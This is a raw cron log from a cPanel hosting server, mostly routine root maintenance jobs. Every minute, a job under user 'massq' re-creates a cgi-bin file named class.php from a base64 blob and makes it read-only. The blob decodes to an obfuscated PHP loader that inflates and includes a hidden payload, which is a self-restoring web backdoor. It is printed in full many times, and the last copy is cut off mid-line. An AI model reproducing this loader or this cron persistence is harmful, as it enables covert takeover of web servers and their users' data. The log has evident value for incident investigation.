Sep  6 08:00:01 server CROND[11900]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:00:01 server CROND[11901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:00:01 server CROND[11897]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 08:00:01 server CROND[11903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:01:01 server CROND[12807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:01:01 server CROND[12808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:01:01 server CROND[12810]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 08:01:01 server CROND[12809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:01:01 server run-parts(/etc/cron.hourly)[12810]: starting 0anacron
Sep  6 08:01:01 server run-parts(/etc/cron.hourly)[12829]: finished 0anacron
Sep  6 08:02:01 server CROND[13204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:02:01 server CROND[13205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:02:01 server CROND[13206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:03:01 server CROND[13588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:03:01 server CROND[13589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:03:01 server CROND[13590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:04:01 server CROND[14140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:04:01 server CROND[14141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:04:01 server CROND[14142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:05:01 server CROND[14531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:05:01 server CROND[14533]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:05:01 server CROND[14535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:05:01 server CROND[14536]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:05:01 server CROND[14537]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 08:05:01 server CROND[14538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:05:01 server CROND[14541]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  6 08:05:01 server CROND[14544]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 08:05:01 server CROND[14542]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 08:06:01 server CROND[15389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:06:01 server CROND[15390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:06:01 server CROND[15391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:07:01 server CROND[15774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:07:01 server CROND[15775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:07:01 server CROND[15776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:08:01 server CROND[16158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:08:01 server CROND[16159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:08:01 server CROND[16160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:09:01 server CROND[16598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:09:01 server CROND[16597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:09:01 server CROND[16600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:09:01 server CROND[16601]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 08:10:01 server CROND[17022]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 08:10:01 server CROND[17021]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 08:10:01 server CROND[17023]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 08:10:01 server CROND[17029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 08:10:01 server CROND[17031]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 08:10:01 server CROND[17033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:10:01 server CROND[17032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:10:01 server CROND[17035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:11:01 server CROND[17881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 08:11:01 server CROND[17883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:11:01 server CROND[17882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:12:01 server CROND[18268]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 08:12:01 server CROND[18269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 08:12:01 server CROND[18270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 08:12:01 server CROND[18271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwV